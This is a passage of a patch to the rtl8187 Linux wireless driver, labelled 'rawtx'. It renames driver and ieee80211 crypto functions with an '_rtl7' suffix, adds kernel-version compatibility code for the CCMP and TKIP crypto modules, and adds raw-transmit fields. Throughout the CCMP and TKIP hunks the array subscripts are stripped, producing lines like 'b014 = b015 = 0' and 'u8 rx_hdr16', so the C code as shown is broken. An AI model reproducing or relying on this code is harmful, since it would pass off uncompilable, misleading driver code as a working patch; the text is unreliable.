++static int __init rtl8187_usb_module_init_rtl7(void)
+ {
+ 	printk(KERN_INFO "\nLinux kernel driver for RTL8187 \
+ based WLAN cards\n");
+@@ -2495,7 +2705,7 @@
+ }
+ 
+ 
+-static void __exit rtl8187_usb_module_exit(void)
++static void __exit rtl8187_usb_module_exit_rtl7(void)
+ {
+ 	usb_deregister(&rtl8187_usb_driver);
+ 
+@@ -2508,14 +2718,14 @@
+ {
+ 	unsigned long flags;
+ 	short enough_desc;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++
+ 	spin_lock_irqsave(&priv->tx_lock,flags);
+ 	enough_desc = check_nic_enought_desc(dev,pri);
+-        spin_unlock_irqrestore(&priv->tx_lock,flags);	
+-	
++        spin_unlock_irqrestore(&priv->tx_lock,flags);
++
+ 	if(enough_desc)
+-		ieee80211_wake_queue(priv->ieee80211);
++		ieee80211_wake_queue_rtl7(priv->ieee80211);
+ }
+ 
+ 
+@@ -2523,5 +2733,5 @@
+ /***************************************************************************
+      ------------------- module init / exit stubs ----------------
+ ****************************************************************************/
+-module_init(rtl8187_usb_module_init);
+-module_exit(rtl8187_usb_module_exit);
++module_init(rtl8187_usb_module_init_rtl7);
++module_exit(rtl8187_usb_module_exit_rtl7);
+diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_rawtx/beta-8187/r8187.h
+--- rtl8187_orig/beta-8187/r8187.h	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/beta-8187/r8187.h	2007-06-21 23:44:38.000000000 +0200
+@@ -1,17 +1,17 @@
+-/* 
++/*
+    This is part of rtl8187 OpenSource driver.
+-   Copyright (C) Andrea Merello 2004-2005  <andreamrl@tiscali.it> 
++   Copyright (C) Andrea Merello 2004-2005  <andreamrl@tiscali.it>
+    Released under the terms of GPL (General Public Licence)
+-   
+-   Parts of this driver are based on the GPL part of the 
++
++   Parts of this driver are based on the GPL part of the
+    official realtek driver
+-   
+-   Parts of this driver are based on the rtl8180 driver skeleton 
++
++   Parts of this driver are based on the rtl8180 driver skeleton
+    from Patric Schenke & Andres Salomon
+-   
++
+    Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver
+-   
+-   We want to tanks the Authors of those projects and the Ndiswrapper 
++
++   We want to tanks the Authors of those projects and the Ndiswrapper
+    project Authors.
+ */
+ 
+@@ -26,7 +26,6 @@
+ 
+ #include <linux/module.h>
+ #include <linux/kernel.h>
+-#include <linux/config.h>
+ #include <linux/init.h>
+ #include <linux/ioport.h>
+ #include <linux/sched.h>
+@@ -47,6 +46,12 @@
+ #include <asm/io.h>
+ #include <asm/semaphore.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ #define EPROM_93c46 0
+@@ -68,7 +73,7 @@
+ {
+ 	struct buffer *next;
+ 	u32 *buf;
+-	
++
+ } buffer;
+ 
+ #if 0
+@@ -123,18 +128,18 @@
+ 	short epromtype;
+ 	int irq;
+ 	struct ieee80211_device *ieee80211;
+-	
++
+ 	short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */
+ 	short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */
+ 	short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */
+ 	short enable_gpio0;
+ 	enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type;
+ 	short hw_plcp_len;
+-		
++
+ //	spinlock_t irq_lock;
+ //	spinlock_t irq_th_lock;
+ 	spinlock_t tx_lock;
+-	
++
+ 	u16 irq_mask;
+ //	short irq_enabled;
+ 	struct net_device *dev;
+@@ -143,13 +148,17 @@
+ 	short max_sens;
+ 	u8 chtxpwr15; //channels from 1 to 14, 0 not used
+ 	u8 chtxpwr_ofdm15; //channels from 1 to 14, 0 not used
++	u8 chtxpwr_orig15; //channels from 1 to 14, 0 not used
++	u8 chtxpwr_ofdm_orig15; //channels from 1 to 14, 0 not used
+ 	u8 cck_txpwr_base;
+ 	u8 ofdm_txpwr_base;
++	u8 txpwr_max;
+ 	u8 challow15; //channels from 1 to 14, 0 not used
+ 	short up;
+ 	short crcmon; //if 1 allow bad crc frame reception in monitor mode
+-//	short prism_hdr;
+-	
++	short prism_hdr;
++	short fasttx;
++
+ //	struct timer_list scan_timer;
+ 	/*short scanpending;
+ 	short stopscan;*/
+@@ -158,7 +167,7 @@
+ 	//u8 active_scan_num;
+ 	struct semaphore wx_sem;
+ //	short hw_wep;
+-		
++
+ //	short digphy;
+ //	short antb;
+ //	short diversity;
+@@ -171,31 +180,31 @@
+ 	void (*rf_close)(struct net_device *dev);
+ 	void (*rf_init)(struct net_device *dev);
+ 	//short rate;
+-	short promisc;	
++	short promisc;
+ 	/*stats*/
+ 	struct Stats stats;
+ 	struct iw_statistics wstats;
+ 	struct proc_dir_entry *dir_dev;
+-	
++
+ 	/*RX stuff*/
+ //	u32 *rxring;
+ //	u32 *rxringtail;
+ //	dma_addr_t rxringdma;
+ 	struct urb **rx_urb;
+-	
++
+ 	//struct buffer *rxbuffer;
+ 	//struct buffer *rxbufferhead;
+ 	//int rxringcount;
+ 	//u16 rxbuffersize;
+-	
+-	//struct sk_buff *rx_skb; 
++
++	//struct sk_buff *rx_skb;
+ 
+ 	//short rx_skb_complete;
+ 
+ 	//u32 rx_prevlen;
+ 	atomic_t tx_lp_pending;
+ 	atomic_t tx_np_pending;
+-#if 0	
++#if 0
+ 	/*TX stuff*/
+ 	u32 *txlpring;
+ 	u32 *txhpring;
+@@ -225,7 +234,7 @@
+ 	struct urb *rxurb_task;
+ //	u8 dma_poll_mask;
+ 	//short tx_suspend;
+-	
++
+ 	/* adhoc/master mode stuff */
+ #if 0
+ 	u32 *txbeacontail;
+@@ -239,22 +248,23 @@
+ 	//u16 master_beaconinterval;
+ //	u32 master_beaconsize;
+ 	//u16 beacon_interval;
+-	
++
+ 	u8 retry_data;
+ 	u8 retry_rts;
+-	
++
+ 	struct work_struct reset_wq;
+-	
++
+ }r8180_priv;
+ 
+ 
+-typedef enum{ 
++typedef enum{
+ 	LOW_PRIORITY ,
+-	NORM_PRIORITY 
++	NORM_PRIORITY
+ 	} priority_t;
+ 
+ 
+ short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate);
++short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate);
+ 
+ u8 read_nic_byte(struct net_device *dev, int x);
+ u8 read_nic_byte_E(struct net_device *dev, int x);
+diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_rawtx/ieee80211/ieee80211_crypt.c
+--- rtl8187_orig/ieee80211/ieee80211_crypt.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211_crypt.c	2007-06-08 23:30:47.000000000 +0200
+@@ -11,7 +11,6 @@
+  *
+  */
+ 
+-#include <linux/config.h>
+ #include <linux/version.h>
+ #include <linux/module.h>
+ #include <linux/init.h>
+@@ -19,6 +18,12 @@
+ #include <asm/string.h>
+ #include <asm/errno.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ MODULE_AUTHOR("Jouni Malinen");
+@@ -38,7 +43,7 @@
+ 
+ static struct ieee80211_crypto *hcrypt;
+ 
+-void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee,
++void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee,
+ 					   int force)
+ {
+ 	struct list_head *ptr, *n;
+@@ -61,13 +66,13 @@
+ 	}
+ }
+ 
+-void ieee80211_crypt_deinit_handler(unsigned long data)
++void ieee80211_crypt_deinit_handler_rtl7(unsigned long data)
+ {
+ 	struct ieee80211_device *ieee = (struct ieee80211_device *)data;
+ 	unsigned long flags;
+ 
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-	ieee80211_crypt_deinit_entries(ieee, 0);
++	ieee80211_crypt_deinit_entries_rtl7(ieee, 0);
+ 	if (!list_empty(&ieee->crypt_deinit_list)) {
+ 		printk(KERN_DEBUG "%s: entries remaining in delayed crypt "
+ 		       "deletion list\n", ieee->dev->name);
+@@ -78,7 +83,7 @@
+ 
+ }
+ 
+-void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee,
++void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee,
+ 				    struct ieee80211_crypt_data **crypt)
+ {
+ 	struct ieee80211_crypt_data *tmp;
+@@ -103,7 +108,7 @@
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+ }
+ 
+-int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops)
++int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops)
+ {
+ 	unsigned long flags;
+ 	struct ieee80211_crypto_alg *alg;
+@@ -128,7 +133,7 @@
+ 	return 0;
+ }
+ 
+-int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops)
++int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops)
+ {
+ 	unsigned long flags;
+ 	struct list_head *ptr;
+@@ -159,7 +164,7 @@
+ }
+ 
+ 
+-struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name)
++struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name)
+ {
+ 	unsigned long flags;
+ 	struct list_head *ptr;
+@@ -186,13 +191,13 @@
+ }
+ 
+ 
+-static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; }
+-static void ieee80211_crypt_null_deinit(void *priv) {}
++static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; }
++static void ieee80211_crypt_null_deinit_rtl7(void *priv) {}
+ 
+ static struct ieee80211_crypto_ops ieee80211_crypt_null = {
+ 	.name			= "NULL",
+-	.init			= ieee80211_crypt_null_init,
+-	.deinit			= ieee80211_crypt_null_deinit,
++	.init			= ieee80211_crypt_null_init_rtl7,
++	.deinit			= ieee80211_crypt_null_deinit_rtl7,
+ 	.encrypt_mpdu		= NULL,
+ 	.decrypt_mpdu		= NULL,
+ 	.encrypt_msdu		= NULL,
+@@ -205,7 +210,7 @@
+ };
+ 
+ 
+-static int __init ieee80211_crypto_init(void)
++static int __init ieee80211_crypto_init_rtl7(void)
+ {
+ 	int ret = -ENOMEM;
+ 
+@@ -217,7 +222,7 @@
+ 	INIT_LIST_HEAD(&hcrypt->algs);
+ 	spin_lock_init(&hcrypt->lock);
+ 
+-	ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null);
++	ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null);
+ 	if (ret < 0) {
+ 		kfree(hcrypt);
+ 		hcrypt = NULL;
+@@ -227,7 +232,7 @@
+ }
+ 
+ 
+-static void __exit ieee80211_crypto_deinit(void)
++static void __exit ieee80211_crypto_deinit_rtl7(void)
+ {
+ 	struct list_head *ptr, *n;
+ 
+@@ -247,13 +252,13 @@
+ 	kfree(hcrypt);
+ }
+ 
+-EXPORT_SYMBOL(ieee80211_crypt_deinit_entries);
+-EXPORT_SYMBOL(ieee80211_crypt_deinit_handler);
+-EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit);
+-
+-EXPORT_SYMBOL(ieee80211_register_crypto_ops);
+-EXPORT_SYMBOL(ieee80211_unregister_crypto_ops);
+-EXPORT_SYMBOL(ieee80211_get_crypto_ops);
++EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7);
++EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7);
++EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7);
++
++EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7);
++EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7);
++EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7);
+ 
+-module_init(ieee80211_crypto_init);
+-module_exit(ieee80211_crypto_deinit);
++module_init(ieee80211_crypto_init_rtl7);
++module_exit(ieee80211_crypto_deinit_rtl7);
+diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c
+--- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c	2007-06-08 23:30:47.000000000 +0200
+@@ -9,7 +9,6 @@
+  * more details.
+  */
+ 
+-#include <linux/config.h>
+ #include <linux/version.h>
+ #include <linux/module.h>
+ #include <linux/init.h>
+@@ -22,11 +21,22 @@
+ #include <asm/string.h>
+ #include <linux/wireless.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ 
+ #include <linux/crypto.h>
+-#include <asm/scatterlist.h>
++
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20)
++    #include <asm/scatterlist.h>
++#else
++    #include <linux/scatterlist.h>
++#endif
+ 
+ MODULE_AUTHOR("Jouni Malinen");
+ MODULE_DESCRIPTION("Host AP crypt: CCMP");
+@@ -51,7 +61,11 @@
+ 
+ 	int key_idx;
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	struct crypto_tfm *tfm;
++#else
++	struct crypto_cipher *tfm;
++#endif
+ 
+ 	/* scratch buffers for virt_to_page() (crypto API) */
+ 	u8 tx_b0AES_BLOCK_LEN, tx_bAES_BLOCK_LEN,
+@@ -59,7 +73,8 @@
+ 	u8 rx_b0AES_BLOCK_LEN, rx_bAES_BLOCK_LEN, rx_aAES_BLOCK_LEN;
+ };
+ 
+-void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm,
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm,
+ 			     const u8 pt16, u8 ct16)
+ {
+ 	struct scatterlist src, dst;
+@@ -74,8 +89,15 @@
+ 
+ 	crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN);
+ }
++#else
++static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm,
++					      const u8 pt16, u8 ct16)
++{
++	crypto_cipher_encrypt_one(tfm, ct, pt);
++}
++#endif
+ 
+-static void * ieee80211_ccmp_init(int key_idx)
++static void * ieee80211_ccmp_init_rtl7(int key_idx)
+ {
+ 	struct ieee80211_ccmp_data *priv;
+ 
+@@ -85,19 +107,33 @@
+ 	memset(priv, 0, sizeof(*priv));
+ 	priv->key_idx = key_idx;
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	priv->tfm = crypto_alloc_tfm("aes", 0);
+ 	if (priv->tfm == NULL) {
+ 		printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate "
+ 		       "crypto API aes\n");
+ 		goto fail;
+ 	}
++#else
++	priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC);
++	if (IS_ERR(priv->tfm)) {
++		printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate "
++		       "crypto API aes\n");
++		priv->tfm = NULL;
++		goto fail;
++	}
++#endif
+ 
+ 	return priv;
+ 
+ fail:
+ 	if (priv) {
+ 		if (priv->tfm)
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 			crypto_free_tfm(priv->tfm);
++#else
++			crypto_free_cipher(priv->tfm);
++#endif
+ 		kfree(priv);
+ 	}
+ 
+@@ -105,16 +141,20 @@
+ }
+ 
+ 
+-static void ieee80211_ccmp_deinit(void *priv)
++static void ieee80211_ccmp_deinit_rtl7(void *priv)
+ {
+ 	struct ieee80211_ccmp_data *_priv = priv;
+ 	if (_priv && _priv->tfm)
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 		crypto_free_tfm(_priv->tfm);
++#else
++		crypto_free_cipher(_priv->tfm);
++#endif
+ 	kfree(priv);
+ }
+ 
+ 
+-static inline void xor_block(u8 *b, u8 *a, size_t len)
++static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len)
+ {
+ 	int i;
+ 	for (i = 0; i < len; i++)
+@@ -122,7 +162,11 @@
+ }
+ 
+ 
+-static void ccmp_init_blocks(struct crypto_tfm *tfm,
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm,
++#else
++static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm,
++#endif
+ 			     struct ieee80211_hdr *hdr,
+ 			     u8 *pn, size_t dlen, u8 *b0, u8 *auth,
+ 			     u8 *s0)
+@@ -186,18 +230,18 @@
+ 	}
+ 
+ 	/* Start with the first block and AAD */
+-	ieee80211_ccmp_aes_encrypt(tfm, b0, auth);
+-	xor_block(auth, aad, AES_BLOCK_LEN);
+-	ieee80211_ccmp_aes_encrypt(tfm, auth, auth);
+-	xor_block(auth, &aadAES_BLOCK_LEN, AES_BLOCK_LEN);
+-	ieee80211_ccmp_aes_encrypt(tfm, auth, auth);
++	ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth);
++	xor_block_rtl7(auth, aad, AES_BLOCK_LEN);
++	ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth);
++	xor_block_rtl7(auth, &aadAES_BLOCK_LEN, AES_BLOCK_LEN);
++	ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth);
+ 	b00 &= 0x07;
+ 	b014 = b015 = 0;
+-	ieee80211_ccmp_aes_encrypt(tfm, b0, s0);
++	ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0);
+ }
+ 
+ 
+-static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv)
++static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv)
+ {
+ 	struct ieee80211_ccmp_data *key = priv;
+ 	int data_len, i, blocks, last, len;
+@@ -237,7 +281,7 @@
+ 	*pos++ = key->tx_pn0;
+ 
+ 	hdr = (struct ieee80211_hdr *) skb->data;
+-	ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0);
++	ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0);
+ 
+ 	blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN;
+ 	last = data_len % AES_BLOCK_LEN;
+@@ -245,13 +289,13 @@
+ 	for (i = 1; i <= blocks; i++) {
+ 		len = (i == blocks && last) ? last : AES_BLOCK_LEN;
+ 		/* Authentication */
+-		xor_block(b, pos, len);
+-		ieee80211_ccmp_aes_encrypt(key->tfm, b, b);
++		xor_block_rtl7(b, pos, len);
++		ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b);
+ 		/* Encryption, with counter */
+ 		b014 = (i >> 8) & 0xff;
+ 		b015 = i & 0xff;
+-		ieee80211_ccmp_aes_encrypt(key->tfm, b0, e);
+-		xor_block(pos, e, len);
++		ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e);
++		xor_block_rtl7(pos, e, len);
+ 		pos += len;
+ 	}
+ 
+@@ -262,7 +306,7 @@
+ }
+ 
+ 
+-static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv)
++static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv)
+ {
+ 	struct ieee80211_ccmp_data *key = priv;
+ 	u8 keyidx, *pos;
+@@ -326,8 +370,8 @@
+ 		return -4;
+ 	}
+ 
+-	ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b);
+-	xor_block(mic, b, CCMP_MIC_LEN);
++	ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b);
++	xor_block_rtl7(mic, b, CCMP_MIC_LEN);
+ 
+ 	blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN;
+ 	last = data_len % AES_BLOCK_LEN;
+@@ -337,11 +381,11 @@
+ 		/* Decrypt, with counter */
+ 		b014 = (i >> 8) & 0xff;
+ 		b015 = i & 0xff;
+-		ieee80211_ccmp_aes_encrypt(key->tfm, b0, b);
+-		xor_block(pos, b, len);
++		ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b);
++		xor_block_rtl7(pos, b, len);
+ 		/* Authentication */
+-		xor_block(a, pos, len);
+-		ieee80211_ccmp_aes_encrypt(key->tfm, a, a);
++		xor_block_rtl7(a, pos, len);
++		ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a);
+ 		pos += len;
+ 	}
+ 
+@@ -365,11 +409,15 @@
+ }
+ 
+ 
+-static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv)
++static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv)
+ {
+ 	struct ieee80211_ccmp_data *data = priv;
+ 	int keyidx;
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	struct crypto_tfm *tfm = data->tfm;
++#else
++	struct crypto_cipher *tfm = data->tfm;
++#endif
+ 
+ 	keyidx = data->key_idx;
+ 	memset(data, 0, sizeof(*data));
+@@ -396,7 +444,7 @@
+ }
+ 
+ 
+-static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv)
++static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv)
+ {
+ 	struct ieee80211_ccmp_data *data = priv;
+ 
+@@ -420,7 +468,7 @@
+ }
+ 
+ 
+-static char * ieee80211_ccmp_print_stats(char *p, void *priv)
++static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv)
+ {
+ 	struct ieee80211_ccmp_data *ccmp = priv;
+ 	p += sprintf(p, "key%d alg=CCMP key_set=%d "
+@@ -437,34 +485,34 @@
+ }
+ 
+ 
+-static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = {
++static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = {
+ 	.name			= "CCMP",
+-	.init			= ieee80211_ccmp_init,
+-	.deinit			= ieee80211_ccmp_deinit,
+-	.encrypt_mpdu		= ieee80211_ccmp_encrypt,
+-	.decrypt_mpdu		= ieee80211_ccmp_decrypt,
++	.init			= ieee80211_ccmp_init_rtl7,
++	.deinit			= ieee80211_ccmp_deinit_rtl7,
++	.encrypt_mpdu		= ieee80211_ccmp_encrypt_rtl7,
++	.decrypt_mpdu		= ieee80211_ccmp_decrypt_rtl7,
+ 	.encrypt_msdu		= NULL,
+ 	.decrypt_msdu		= NULL,
+-	.set_key		= ieee80211_ccmp_set_key,
+-	.get_key		= ieee80211_ccmp_get_key,
+-	.print_stats		= ieee80211_ccmp_print_stats,
++	.set_key		= ieee80211_ccmp_set_key_rtl7,
++	.get_key		= ieee80211_ccmp_get_key_rtl7,
++	.print_stats		= ieee80211_ccmp_print_stats_rtl7,
+ 	.extra_prefix_len	= CCMP_HDR_LEN,
+ 	.extra_postfix_len	= CCMP_MIC_LEN,
+ 	.owner			= THIS_MODULE,
+ };
+ 
+ 
+-static int __init ieee80211_crypto_ccmp_init(void)
++static int __init ieee80211_crypto_ccmp_init_rtl7(void)
+ {
+-	return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp);
++	return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7);
+ }
+ 
+ 
+-static void __exit ieee80211_crypto_ccmp_exit(void)
++static void __exit ieee80211_crypto_ccmp_exit_rtl7(void)
+ {
+-	ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp);
++	ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7);
+ }
+ 
+ 
+-module_init(ieee80211_crypto_ccmp_init);
+-module_exit(ieee80211_crypto_ccmp_exit);
++module_init(ieee80211_crypto_ccmp_init_rtl7);
++module_exit(ieee80211_crypto_ccmp_exit_rtl7);
+diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_rawtx/ieee80211/ieee80211_crypt.h
+--- rtl8187_orig/ieee80211/ieee80211_crypt.h	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211_crypt.h	2007-06-08 23:30:44.000000000 +0200
+@@ -75,12 +75,12 @@
+ 	atomic_t refcnt;
+ };
+ 
+-int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops);
+-int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops);
+-struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name);
+-void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int);
+-void ieee80211_crypt_deinit_handler(unsigned long);
+-void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee,
++int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops);
++int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops);
++struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name);
++void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int);
++void ieee80211_crypt_deinit_handler_rtl7(unsigned long);
++void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee,
+ 				    struct ieee80211_crypt_data **crypt);
+ 
+ #endif
+diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c
+--- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c	2007-06-08 23:30:47.000000000 +0200
+@@ -9,7 +9,6 @@
+  * more details.
+  */
+ 
+-#include <linux/config.h>
+ #include <linux/version.h>
+ #include <linux/module.h>
+ #include <linux/init.h>
+@@ -21,13 +20,24 @@
+ #include <linux/if_arp.h>
+ #include <asm/string.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
+ #include "ieee80211.h"
+ 
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20)
++    #include <asm/scatterlist.h>
++#else
++    #include <linux/scatterlist.h>
++#endif
+ 
+ #include <linux/crypto.h>
+-#include <asm/scatterlist.h>
+ #include <linux/crc32.h>
+ 
++
+ MODULE_AUTHOR("Jouni Malinen");
+ MODULE_DESCRIPTION("Host AP crypt: TKIP");
+ MODULE_LICENSE("GPL");
+@@ -55,14 +65,21 @@
+ 
+ 	int key_idx;
+ 
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
+ 	struct crypto_tfm *tfm_arc4;
+ 	struct crypto_tfm *tfm_michael;
++#else
++	struct crypto_blkcipher *rx_tfm_arc4;
++	struct crypto_blkcipher *tx_tfm_arc4;
++	struct crypto_hash *rx_tfm_michael;
++	struct crypto_hash *tx_tfm_michael;
++#endif
+ 
+ 	/* scratch buffers for virt_to_page() (crypto API) */
+ 	u8 rx_hdr16, tx_hdr16;
+ };
+ 
+-static void * ieee80211_tkip_init(int key_idx)
++static void * ieee80211_tkip_init_rtl7(int key_idx)
+ {
+ 	struct ieee80211_tkip_data *priv;
+ 
+@@ -72,28 +89,74 @@
+ 	memset(priv, 0, sizeof(*priv));
+ 	priv->key_idx = key_idx;
+ 
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
+ 	priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0);
+ 	if (priv->tfm_arc4 == NULL) {
+ 		printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate "
+ 		       "crypto API arc4\n");
+ 		goto fail;
+ 	}
+-
+ 	priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0);
+ 	if (priv->tfm_michael == NULL) {
+ 		printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate "
+ 		       "crypto API michael_mic\n");
+ 		goto fail;
+ 	}
++#else
++	priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC);
++	if (IS_ERR(priv->tx_tfm_arc4)) {
++		printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate "
++		       "crypto API arc4\n");
++		priv->tx_tfm_arc4 = NULL;
++		goto fail;
++	}
++
++	priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0,
++						 CRYPTO_ALG_ASYNC);
++	if (IS_ERR(priv->tx_tfm_michael)) {
++		printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate "
++		       "crypto API michael_mic\n");
++		priv->tx_tfm_michael = NULL;
++		goto fail;
++	}
++
++	priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC);
++	if (IS_ERR(priv->rx_tfm_arc4)) {
++		printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate "
++		       "crypto API arc4\n");
++		priv->rx_tfm_arc4 = NULL;
++		goto fail;
++	}
++
++	priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0,
++						 CRYPTO_ALG_ASYNC);
++	if (IS_ERR(priv->rx_tfm_michael)) {
++		printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate "
++		       "crypto API michael_mic\n");
++		priv->rx_tfm_michael = NULL;
++		goto fail;
++	}
++#endif
+ 
+ 	return priv;
+ 
+ fail:
+ 	if (priv) {
